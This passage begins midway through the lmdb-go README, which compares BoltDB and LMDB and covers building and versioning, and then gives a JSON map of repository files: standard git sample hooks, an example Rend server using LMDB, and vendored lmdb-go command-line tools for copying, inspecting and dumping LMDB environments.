questions of why to use one database or the other.
###Advantages of BoltDB
- Nested databases allow for hierarchical data organization.
- Far more databases can be accessed concurrently.
- Operating systems that do not support sparse files do not use up excessive
space due to a large pre-allocation of file space. The exp/lmdbsync package
is intended to resolve this problem with LMDB but it is not ready.
- As a pure Go package bolt can be easily cross-compiled using the `go`
toolchain and `GOOS`/`GOARCH` variables.
###Advantages of LMDB
- Keys can contain multiple values using the DupSort flag.
- Updates can have sub-updates for atomic batching of changes.
- Databases typically remain open for the application lifetime. This limits
the number of concurrently accessible databases. But, this minimizes the
overhead of database accesses and typically produces cleaner code than
an equivalent BoltDB implementation.
- Significantly faster than BoltDB. The raw speed of LMDB easily surpasses
BoltDB. Additionally, LMDB provides optimizations ranging from safe,
feature-specific optimizations to generally unsafe, extremely situational
ones. Applications are free to enable any optimizations that fit their data,
access, and reliability models.
- LMDB allows multiple applications to access a database simultaneously.
Updates from concurrent processes are synchronized using a database lock
file.
- As a C library, applications in any language can interact with LMDB
databases. Mission critical Go applications can use a database while Python
scripts perform analysis on the side.
##Build
There is no dependency on shared libraries. So most users can simply install
using `go get`.
`go get github.com/bmatsuo/lmdb-go/lmdb`
On FreeBSD 10, you must explicitly set `CC` (otherwise it will fail with a
cryptic error), for example:
CC=clang go test -v ./...
Building commands and running tests can be done with `go` or with `make`
make bin
make test
make check
make all
On Linux, you can specify the `pwritev` build tag to reduce the number of syscalls
required when committing a transaction. In your own package you can then do
go build -tags pwritev .
to enable the optimisation.
##Documentation
###Go doc
The `go doc` documentation available on
[godoc.org](https://godoc.org/github.com/bmatsuo/lmdb-go) is the primary source
of developer documentation for lmdb-go. It provides an overview of the API
with a lot of usage examples. Where necessary the documentation points out
differences between the semantics of methods and their C counterparts.
###LMDB
The LMDB [homepage](http://symas.com/mdb/) and mailing list
([archives](http://www.openldap.org/lists/openldap-technical/)) are the
official source of documentation regarding low-level LMDB operation and
internals.
Along with an API reference LMDB provides a high-level
[summary](http://symas.com/mdb/doc/starting.html) of the library. While
lmdb-go abstracts many of the thread and transaction details by default the
rest of the guide is still useful to compare with `go doc`.
###Versioning and Stability
The lmdb-go project makes regular releases with IDs `X.Y.Z`. All packages
outside of the `exp/` directory are considered stable and adhere to the
guidelines of [semantic versioning](http://semver.org/).
Experimental packages (those packages in `exp/`) are not required to adhere to
semantic versioning. However packages specifically declared to merely be
"unstable" can be relied on more for long term use with less concern.
The API of an unstable package may change in subtle ways between minor release
versions. But deprecations will be indicated at least one release in advance
and all functionality will remain available through some method.
##License
Except where otherwise noted files in the lmdb-go project are licensed under
the MIT open source license.
The LMDB C source is licensed under the OpenLDAP Public License.
##Links
####[github.com/bmatsuo/raft-mdb](https://github.com/bmatsuo/raft-mdb) ([godoc](https://godoc.org/github.com/bmatsuo/raft-mdb))
An experimental backend for
[github.com/hashicorp/raft](https://github.com/hashicorp/raft) forked from
[github.com/hashicorp/raft-mdb](https://github.com/hashicorp/raft-mdb).
####[github.com/bmatsuo/cayley/graph/lmdb](https://github.com/bmatsuo/cayley/tree/master/graph/lmdb) ([godoc](https://godoc.org/github.com/bmatsuo/cayley/graph/lmdb))
Experimental backend quad-store for
[github.com/google/cayley](https://github.com/google/cayley) based off of the
BoltDB
[implementation](https://github.com/google/cayley/tree/master/graph/bolt).
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "example\\main.go": "// Copyright 2016 Netflix, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage main\n\nimport (\n\t\"github.com/netflix/rend-lmdb/lmdbh\"\n\t\"github.com/netflix/rend/handlers\"\n\t\"github.com/netflix/rend/orcas\"\n\t\"github.com/netflix/rend/server\"\n)\n\nfunc main() {\n\tlargs := server.ListenArgs{\n\t\tType: server.ListenTCP,\n\t\tPort: 12121,\n\t}\n\n\tserver.ListenAndServe(\n\t\tlargs,\n\t\tserver.Default,\n\t\torcas.L1Only,\n\t\tlmdbh.New(\"/tmp/rendb/\", 2*1024*1024*1024),\n\t\thandlers.NilHandler,\n\t)\n}\n", "vendor\\github.com\\bmatsuo\\lmdb-go\\cmd\\lmdb_copy\\main.go": "/*\nCommand lmdb_copy is a clone of mdb_copy that copies an LMDB environment. A\nconsistent copy is made even if the source database is in use.\n\nCommand line flags mirror the flags for the original program. For information\nabout, run lmdb_copy with the -h flag.\n\n\tlmdb_copy -h\n*/\npackage main\n\nimport (\n\t\"flag\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/bmatsuo/lmdb-go/internal/lmdbcmd\"\n\t\"github.com/bmatsuo/lmdb-go/lmdb\"\n)\n\nfunc main() {\n\topt := &Options{}\n\tflag.BoolVar(&opt.Compact, \"c\", false, \"Compact while copying.\")\n\tflag.Parse()\n\n\tlmdbcmd.PrintVersion()\n\n\tif flag.NArg() > 2 {\n\t\tlog.Fatalf(\"too many arguments specified\")\n\t}\n\tif flag.NArg() == 0 {\n\t\tlog.Fatalf(\"at least one argument must be specified\")\n\t}\n\n\tvar srcpath, dstpath string\n\tsrcpath = flag.Arg(0)\n\tif flag.NArg() > 1 {\n\t\tdstpath = flag.Arg(1)\n\t}\n\n\tcopyEnv(srcpath, dstpath, opt)\n}\n\n// Options contain the command line options for an lmdb_copy command.\ntype Options struct {\n\tCompact bool\n}\n\nfunc copyEnv(srcpath, dstpath string, opt *Options) error {\n\tenv, err := lmdb.NewEnv()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = env.Open(srcpath, lmdbcmd.OpenFlag(), 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar flags uint\n\tif opt != nil && opt.Compact {\n\t\tflags |= lmdb.CopyCompact\n\t}\n\tif dstpath != \"\" {\n\t\treturn env.CopyFlag(dstpath, flags)\n\t}\n\tfd := os.Stdout.Fd()\n\treturn env.CopyFDFlag(fd, flags)\n}\n", "vendor\\github.com\\bmatsuo\\lmdb-go\\cmd\\lmdb_stat\\main.go": "/*\nCommand lmdb_stat is a clone of mdb_stat that displays the status an LMDB\nenvironment.\n\nCommand line flags mirror the flags for the original program. For information\nabout, run lmdb_stat with the -h flag.\n\n\tlmdb_stat -h\n*/\npackage main\n\nimport \"C\"\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"reflect\"\n\t\"strings\"\n\t\"unsafe\"\n\n\t\"github.com/bmatsuo/lmdb-go/exp/lmdbscan\"\n\t\"github.com/bmatsuo/lmdb-go/internal/lmdbcmd\"\n\t\"github.com/bmatsuo/lmdb-go/lmdb\"\n)\n\nfunc main() {\n\topt := &Options{}\n\tflag.BoolVar(&opt.PrintInfo, \"e\", false, \"Display information about the database environment\")\n\tflag.BoolVar(&opt.PrintFree, \"f\", false, \"Display freelist information\")\n\tflag.BoolVar(&opt.PrintFreeSummary, \"ff\", false, \"Display freelist information\")\n\tflag.BoolVar(&opt.PrintFreeFull, \"fff\", false, \"Display freelist information\")\n\tflag.BoolVar(&opt.PrintReaders, \"r\", false, strings.Join([]string{\n\t\t\"Display information about the environment reader table.\",\n\t\t\"Shows the process ID, thread ID, and transaction ID for each active reader slot.\",\n\t}, \" \"))\n\tflag.BoolVar(&opt.PrintReadersCheck, \"rr\", false, strings.Join([]string{\n\t\t\"Implies -r.\",\n\t\t\"Check for stale entries in the reader table and clear them.\",\n\t\t\"The reader table is printed again after the check is performed.\",\n\t}, \" \"))\n\tflag.BoolVar(&opt.PrintStatAll, \"a\", false, \"Display the status of all databases in the environment\")\n\tflag.StringVar(&opt.PrintStatSub, \"s\", \"\", \"Display the status of a specific subdatabase.\")\n\tflag.BoolVar(&opt.Debug, \"D\", false, \"print debug information\")\n\tflag.Parse()\n\n\tlmdbcmd.PrintVersion()\n\n\tif opt.PrintStatAll && opt.PrintStatSub != \"\" {\n\t\tlog.Fatal(\"only one of -a and -s may be provided\")\n\t}\n\n\tif flag.NArg() > 1 {\n\t\tlog.Fatalf(\"too many argument provided\")\n\t}\n\tif flag.NArg() == 0 {\n\t\tlog.Fatalf(\"missing argument\")\n\t}\n\topt.Path = flag.Arg(0)\n\n\tvar failed bool\n\tdefer func() {\n\t\tif e := recover(); e != nil {\n\t\t\tif opt.Debug {\n\t\t\t\tpanic(e)\n\t\t\t}\n\t\t\tlog.Print(e)\n\t\t\tfailed = true\n\t\t}\n\t\tif failed {\n\t\t\tos.Exit(1)\n\t\t}\n\t}()\n\n\terr := doMain(opt)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\tfailed = true\n\t}\n}\n\n// Options contains all the configuration for an lmdb_stat command including\n// command line arguments.\ntype Options struct {\n\tPath string\n\n\tPrintInfo bool\n\tPrintReaders bool\n\tPrintReadersCheck bool\n\tPrintFree bool\n\tPrintFreeSummary bool\n\tPrintFreeFull bool\n\tPrintStatAll bool\n\tPrintStatSub string\n\n\tDebug bool\n}\n\nfunc doMain(opt *Options) error {\n\tenv, err := lmdb.NewEnv()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif opt.PrintStatAll || opt.PrintStatSub != \"\" {\n\t\terr = env.SetMaxDBs(1)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\terr = env.Open(opt.Path, lmdbcmd.OpenFlag(), 0644)\n\tdefer env.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif opt.PrintInfo {\n\t\terr = doPrintInfo(env, opt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif opt.PrintReaders || opt.PrintReadersCheck {\n\t\terr = doPrintReaders(env, opt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif opt.PrintFree || opt.PrintFreeSummary || opt.PrintFreeFull {\n\t\terr = doPrintFree(env, opt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr = doPrintStatRoot(env, opt)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif opt.PrintStatAll {\n\t\terr = doPrintStatAll(env, opt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else if opt.PrintStatSub != \"\" {\n\t\terr = doPrintStatDB(env, opt.PrintStatSub, opt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc doPrintInfo(env *lmdb.Env, opt *Options) error {\n\tinfo, err := env.Info()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tpagesize := os.Getpagesize()\n\n\tfmt.Println(\"Environment Info\")\n\tfmt.Println(\" Map address:\", nil)\n\tfmt.Println(\" Map size:\", info.MapSize)\n\tfmt.Println(\" Page size:\", pagesize)\n\tfmt.Println(\" Max pages:\", info.MapSize/int64(pagesize))\n\tfmt.Println(\" Number of pages used:\", info.LastPNO+1)\n\tfmt.Println(\" Last transaction ID:\", info.LastTxnID)\n\tfmt.Println(\" Max readers:\", info.MaxReaders)\n\tfmt.Println(\" Number of readers used:\", info.NumReaders)\n\n\treturn nil\n}\n\nfunc doPrintReaders(env *lmdb.Env, opt *Options) error {\n\tfmt.Println(\"Reader Table Status\")\n\tw := bufio.NewWriter(os.Stdout)\n\terr := printReaders(env, w, opt)\n\tif err == nil {\n\t\terr = w.Flush()\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif opt.PrintReadersCheck {\n\t\tnumstale, err := env.ReaderCheck()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Printf(\" %d stale readers cleared.\\n\", numstale)\n\t\terr = printReaders(env, w, opt)\n\t\tif err == nil {\n\t\t\terr = w.Flush()\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc printReaders(env *lmdb.Env, w io.Writer, opt *Options) error {\n\treturn env.ReaderList(func(msg string) error {\n\t\t_, err := fmt.Fprint(w, msg)\n\t\treturn err\n\t})\n}\n\nfunc doPrintFree(env *lmdb.Env, opt *Options) error {\n\treturn env.View(func(txn *lmdb.Txn) (err error) {\n\t\ttxn.RawRead = true\n\n\t\tfmt.Println(\"Freelist Status\")\n\n\t\tstat, err := txn.Stat(0)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tprintStat(stat, opt)\n\n\t\tvar numpages int64\n\t\ts := lmdbscan.New(txn, 0)\n\t\tdefer s.Close()\n\t\tfor s.Scan() {\n\t\t\tkey := s.Key()\n\t\t\tdata := s.Val()\n\t\t\ttxid := *(*C.size_t)(unsafe.Pointer(&key[0]))\n\t\t\tipages := int64(*(*C.size_t)(unsafe.Pointer(&data[0])))\n\t\t\tnumpages += ipages\n\t\t\tif opt.PrintFreeSummary || opt.PrintFreeFull {\n\t\t\t\tbad := \"\"\n\t\t\t\thdr := reflect.SliceHeader{\n\t\t\t\t\tData: uintptr(unsafe.Pointer(&data[0])),\n\t\t\t\t\tLen: int(ipages) + 1,\n\t\t\t\t\tCap: int(ipages) + 1,\n\t\t\t\t}\n\t\t\t\tpages := *(*[]C.size_t)(unsafe.Pointer(&hdr))\n\t\t\t\tpages = pages[1:]\n\t\t\t\tvar span C.size_t\n\t\t\t\tprev := C.size_t(1)\n\t\t\t\tfor i := ipages - 1; i >= 0; i-- {\n\t\t\t\t\tpg := pages[i]\n\t\t\t\t\tif pg < prev {\n\t\t\t\t\t\tbad = \" [bad sequence]\"\n\t\t\t\t\t}\n\t\t\t\t\tprev = pg\n\t\t\t\t\tpg += span\n\t\t\t\t\tfor i >= int64(span) && pages[i-int64(span)] == pg {\n\t\t\t\t\t\tspan++\n\t\t\t\t\t\tpg++\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\" Transaction %d, %d pages, maxspan %d%s\\n\", txid, ipages, span, bad)\n\n\t\t\t\tif opt.PrintFreeFull {\n\t\t\t\t\tfor j := ipages - 1; j >= 0; {\n\t\t\t\t\t\tpg := pages[j]\n\t\t\t\t\t\tj--\n\t\t\t\t\t\tspan := C.size_t(1)\n\t\t\t\t\t\tfor j >= 0 && pages[j] == pg+span {\n\t\t\t\t\t\t\tj--\n\t\t\t\t\t\t\tspan++\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif span > 1 {\n\t\t\t\t\t\t\tfmt.Printf(\" %9d[%d]\\n\", pg, span)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tfmt.Printf(\" %9d\\n\", pg)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\terr = s.Err()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Println(\" Free pages:\", numpages)\n\n\t\treturn nil\n\t})\n}\n\nfunc doPrintStatRoot(env *lmdb.Env, opt *Options) error {\n\tstat, err := env.Stat()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Println(\"Status of Main DB\")\n\tfmt.Println(\" Tree depth:\", stat.Depth)\n\tfmt.Println(\" Branch pages:\", stat.BranchPages)\n\tfmt.Println(\" Leaf pages:\", stat.LeafPages)\n\tfmt.Println(\" Overflow pages:\", stat.OverflowPages)\n\tfmt.Println(\" Entries:\", stat.Entries)\n\n\treturn nil\n}\n\nfunc doPrintStatDB(env *lmdb.Env, db string, opt *Options) error {\n\terr := env.View(func(txn *lmdb.Txn) (err error) {\n\t\treturn printStatDB(env, txn, db, opt)\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%v (%s)\", err, db)\n\t}\n\treturn nil\n}\n\nfunc printStatDB(env *lmdb.Env, txn *lmdb.Txn, db string, opt *Options) error {\n\tdbi, err := txn.OpenDBI(db, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer env.CloseDBI(dbi)\n\n\tstat, err := txn.Stat(dbi)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Println(\"Status of\", db)\n\tprintStat(stat, opt)\n\n\treturn err\n}\n\nfunc printStat(stat *lmdb.Stat, opt *Options) error {\n\tfmt.Println(\" Tree depth:\", stat.Depth)\n\tfmt.Println(\" Branch pages:\", stat.BranchPages)\n\tfmt.Println(\" Leaf pages:\", stat.LeafPages)\n\tfmt.Println(\" Overflow pages:\", stat.OverflowPages)\n\tfmt.Println(\" Entries:\", stat.Entries)\n\n\treturn nil\n}\n\nfunc doPrintStatAll(env *lmdb.Env, opt *Options) error {\n\treturn env.View(func(txn *lmdb.Txn) (err error) {\n\t\tdbi, err := txn.OpenRoot(0)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer env.CloseDBI(dbi)\n\n\t\ts := lmdbscan.New(txn, dbi)\n\t\tdefer s.Close()\n\t\tfor s.Scan() {\n\t\t\terr = printStatDB(env, txn, string(s.Key()), opt)\n\t\t\tif e, ok := err.(*lmdb.OpError); ok {\n\t\t\t\tif e.Op == \"mdb_dbi_open\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"%v (%s)\", err, s.Key())\n\t\t\t}\n\t\t}\n\t\treturn s.Err()\n\t})\n}\n", "vendor\\github.com\\bmatsuo\\lmdb-go\\exp\\cmd\\lmdb_cat\\main.go": "package main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/bmatsuo/lmdb-go/exp/lmdbscan\"\n\t\"github.com/bmatsuo/lmdb-go/exp/lmdbsync\"\n\t\"github.com/bmatsuo/lmdb-go/internal/lmdbcmd\"\n\t\"github.com/bmatsuo/lmdb-go/lmdb\"\n)\n\nfunc main() {\n\topt := &Options{}\n\tflag.BoolVar(&opt.ReadIn, \"i\", false, \"Read data from standard input and write it the specefied database.\")\n\tflag.BoolVar(&opt.KeyOnly, \"k\", false, \"Do not write value data to standard output\")\n\tflag.BoolVar(&opt.ValOnly, \"K\", false, \"Do not write key data to standard output\")\n\tflag.StringVar(&opt.Sep, \"F\", \"=\", \"Key-value delimiter for items written to standard output, or read from standard output.\")\n\tflag.Parse()\n\n\tlmdbcmd.PrintVersion()\n\n\tdbs := flag.Args()\n\tvar specs []*catSpec\n\tfor _, db := range dbs {\n\t\tspec, err := parseCatSpec(db)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tspecs = append(specs, spec)\n\t}\n\n\tif opt.ReadIn {\n\t\tif len(specs) > 1 || len(specs[0].DB) > 1 {\n\t\t\tlog.Fatalf(\"only one database may be specefied when -i is given\")\n\t\t}\n\t\tif len(specs[0].DB) > 0 {\n\t\t\topt.DB = specs[0].DB[0]\n\t\t}\n\t\tif opt.KeyOnly || opt.ValOnly {\n\t\t\tlog.Fatal(\"flags -k and -K must be omitted when -i is given\")\n\t\t}\n\t\tif opt.Sep == \"\" {\n\t\t\tlog.Fatal(\"delimiter -F cannot be empty when -i is given\")\n\t\t}\n\n\t\terr := readIn(specs[0].Path, os.Stdin, opt)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\treturn\n\t}\n\n\tfor _, spec := range specs {\n\t\topt := &catOptions{DB: spec.DB}\n\t\tcat(spec.Path, opt)\n\t}\n}\n\n// Options contains the the configuration to perform an lmdb_cat on a single\n// environment/database.\ntype Options struct {\n\tReadIn bool\n\tKeyOnly bool\n\tValOnly bool\n\tSep string\n\tDB string\n}\n\nfunc readIn(path string, r io.Reader, opt *Options) error {\n\t_env, err := lmdb.NewEnv()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = _env.SetMapSize(100 << 10)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif opt != nil && opt.DB != \"\" {\n\t\terr = _env.SetMaxDBs(1)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\terr = _env.Open(path, lmdbcmd.OpenFlag(), 0644)\n\tdefer _env.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdoubleSize := func(size int64) (int64, bool) { return size * 2, true }\n\thandler := lmdbsync.MapFullHandler(doubleSize)\n\tenv, err := lmdbsync.NewEnv(_env, handler)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn env.Update(func(txn *lmdb.Txn) (err error) {\n\t\tvar dbi lmdb.DBI\n\t\tif opt.DB == \"\" {\n\t\t\tdbi, err = txn.OpenRoot(0)\n\t\t} else {\n\t\t\tdbi, err = txn.OpenDBI(opt.DB, lmdb.Create)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcur, err := txn.OpenCursor(dbi)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer cur.Close()\n\n\t\tsep := []byte(opt.Sep)\n\n\t\tnumln := 0\n\t\ts := bufio.NewScanner(r)\n\t\tfor s.Scan() {\n\t\t\tnumln++\n\t\t\tln := s.Bytes()\n\t\t\tpieces := bytes.SplitN(ln, sep, 2)\n\t\t\tif len(pieces) < 2 {\n\t\t\t\tlog.Printf(\"line %d: missing separator\", numln)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\terr = cur.Put(pieces[0], pieces[1], 0)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn s.Err()\n\t})\n}\n\ntype catSpec struct {\n\tPath string\n\tDB []string\n}\n\n// BUG:\n// this function is shit\nfunc parseCatSpec(s string) (*catSpec, error) {\n\ts = strings.TrimSpace(s)\n\tdbspec := strings.Index(s, \"[\")\n\tif dbspec < 0 {\n\t\tspec := &catSpec{Path: s}\n\t\treturn spec, nil\n\t}\n\tif !strings.HasSuffix(s, \"]\") {\n\t\treturn nil, fmt.Errorf(\"invalid db spec\")\n\t}\n\tdbs := strings.Split(s[dbspec+1:len(s)-1], \":\")\n\tspec := &catSpec{Path: s[:dbspec], DB: dbs}\n\treturn spec, nil\n}\n\ntype catOptions struct {\n\tDB []string\n}\n\nfunc cat(path string, opt *catOptions) error {\n\tenv, err := lmdb.NewEnv()\n\tif err != nil {\n\t\treturn err\n\t}\n\tmaxdbs := 0\n\tif opt != nil && len(opt.DB) > 0 {\n\t\tmaxdbs = len(opt.DB)\n\t}\n\tif maxdbs > 0 {\n\t\terr = env.SetMaxDBs(maxdbs)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = env.Open(path, lmdbcmd.OpenFlag(), 644)\n\tdefer env.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn env.View(func(txn *lmdb.Txn) (err error) {\n\t\tif opt == nil || len(opt.DB) == 0 {\n\t\t\terr := catRoot(txn)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif opt != nil {\n\t\t\tfor _, dbname := range opt.DB {\n\t\t\t\terr := catDB(txn, dbname)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"%v (%q)\", err, dbname)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n}\n\nfunc catDB(txn *lmdb.Txn, dbname string) error {\n\tdbi, err := txn.OpenDBI(dbname, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn catDBI(txn, dbi)\n}\n\nfunc catRoot(txn *lmdb.Txn) error {\n\tdbi, err := txn.OpenRoot(0)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn catDBI(txn, dbi)\n}\n\nfunc catDBI(txn *lmdb.Txn, dbi lmdb.DBI) error {\n\ts := lmdbscan.New(txn, dbi)\n\tdefer s.Close()\n\tfor s.Scan() {\n\t\tfmt.Println(string(s.Val()))\n\t}\n\treturn s.Err()\n}\n", "vendor\\github.com\\bmatsuo\\lmdb-go\\exp\\lmdbsync\\testresize\\main.go": "/*\nCommand testresize is a utility used by the lmdbsync tests to validate its\nmultiprocessing capabilities. An external command like testresize command is\nrequired because a process is not allowed to map the same process twice.\n\nTestresize writes batches of updates into a databaes, transparently handling\nany lmdb.MapResized or lmdb.MapFull errors that occur. To ensure that resizing\nbehavior is observed testresize waits for input before updating the environment\nand writes a line to stdout after the update is committed. If testresize\nprocess observes zero of either error it will exit with a non-zero exit code.\n\nTwo testresize processes can communicate to each other using two unix pipes, if\nthe output of each pipe is connected to the input of the other. Writing a\nsingle line to one of the pipes will cause updates to ping-pong back and forth\nbetween processes.\n*/\npackage main\n\nimport (\n\t\"bufio\"\n\t\"crypto/rand\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"time\"\n\n\t\"golang.org/x/net/context\"\n\n\t\"github.com/bmatsuo/lmdb-go/exp/lmdbsync\"\n\t\"github.com/bmatsuo/lmdb-go/lmdb\"\n)\n\nfunc main() {\n\tnumitems := flag.Int64(\"n\", 5<<10, \"the number of items to write\")\n\tchunksize := flag.Int64(\"c\", 100, \"the number of items to write per txn\")\n\tflag.Parse()\n\n\tfailed := false\n\tdefer func() {\n\t\tif failed {\n\t\t\tos.Exit(1)\n\t\t}\n\t}()\n\tfail := func(err error) {\n\t\tfailed = true\n\t\tlog.Print(err)\n\t}\n\n\terr := WriteRandomItems(\"db\", *numitems, *chunksize)\n\tif err != nil {\n\t\tfail(err)\n\t} else {\n\t\tlog.Printf(\"success\")\n\t}\n}\n\n// WriteRandomItems writes numitem items with chunksize sized values full of\n// random data.\nfunc WriteRandomItems(path string, numitem, chunksize int64) (err error) {\n\tenv, err := OpenEnv(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer env.Close()\n\n\tnumResize := 0\n\tnumResized := 0\n\tdefer func() {\n\t\tlog.Printf(\"%d resizes\", numResize)\n\t\tlog.Printf(\"%d size adoptions\", numResized)\n\t\tif err == nil {\n\t\t\tif numResize == 0 {\n\t\t\t\terr = fmt.Errorf(\"process did not resize the memory map\")\n\t\t\t} else if numResized == 0 {\n\t\t\t\terr = fmt.Errorf(\"process did not adopt a new map size\")\n\t\t\t}\n\t\t}\n\t}()\n\tmapResizedLogger := func(ctx context.Context, env *lmdbsync.Env, err error) (context.Context, error) {\n\t\tif lmdb.IsMapResized(err) {\n\t\t\tlog.Printf(\"map resized\")\n\t\t\tnumResized++\n\t\t}\n\t\treturn ctx, err\n\t}\n\tmapFullLogger := func(ctx context.Context, env *lmdbsync.Env, err error) (context.Context, error) {\n\t\tif lmdb.IsMapFull(err) {\n\t\t\tlog.Printf(\"resize required\")\n\t\t\tnumResize++\n\t\t}\n\t\treturn ctx, err\n\t}\n\tenv.Handlers = env.Handlers.Append(\n\t\thandlerFunc(mapResizedLogger),\n\t\tlmdbsync.MapResizedHandler(2, func(int) time.Duration { return 100 * time.Microsecond }),\n\t\thandlerFunc(mapFullLogger),\n\t\tlmdbsync.MapFullHandler(func(size int64) (int64, bool) {\n\t\t\tnewsize := size + 128<<10 // linear scale is bad -- but useful to test\n\t\t\tlog.Printf(\"oldsize=%d newsize=%d\", size, newsize)\n\t\t\treturn newsize, true\n\t\t}),\n\t)\n\n\tpid := os.Getpid()\n\n\tscanner := bufio.NewScanner(os.Stdin)\n\tfor i := int64(0); i < numitem; {\n\t\tif !scanner.Scan() {\n\t\t\treturn scanner.Err()\n\t\t}\n\n\t\tstart := i\n\t\tchunkmax := i + chunksize\n\t\tif chunkmax > numitem {\n\t\t\tchunkmax = numitem\n\t\t}\n\t\tv := make([]byte, 512)\n\t\t_, err := io.ReadFull(rand.Reader, v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = env.Update(func(txn *lmdb.Txn) (err error) {\n\t\t\tdbi, err := txn.OpenRoot(0)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfor i = start; i < chunkmax; i++ {\n\t\t\t\tk := fmt.Sprintf(\"%06d-%016x\", pid, i)\n\t\t\t\terr = txn.Put(dbi, []byte(k), v, 0)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Println(\"ok\")\n\t}\n\n\treturn nil\n}\n\n// OpenEnv is a helper for opening an lmdbsync.Env.\nfunc OpenEnv(path string) (*lmdbsync.Env, error) {\n\tenv, err := lmdbsync.NewEnv(nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = env.Open(path, 0, 0644)\n\tif err != nil {\n\t\tenv.Close()\n\t\treturn nil, err\n\t}\n\treturn env, nil\n}\n\ntype handlerFunc func(ctx context.Context, env *lmdbsync.Env, err error) 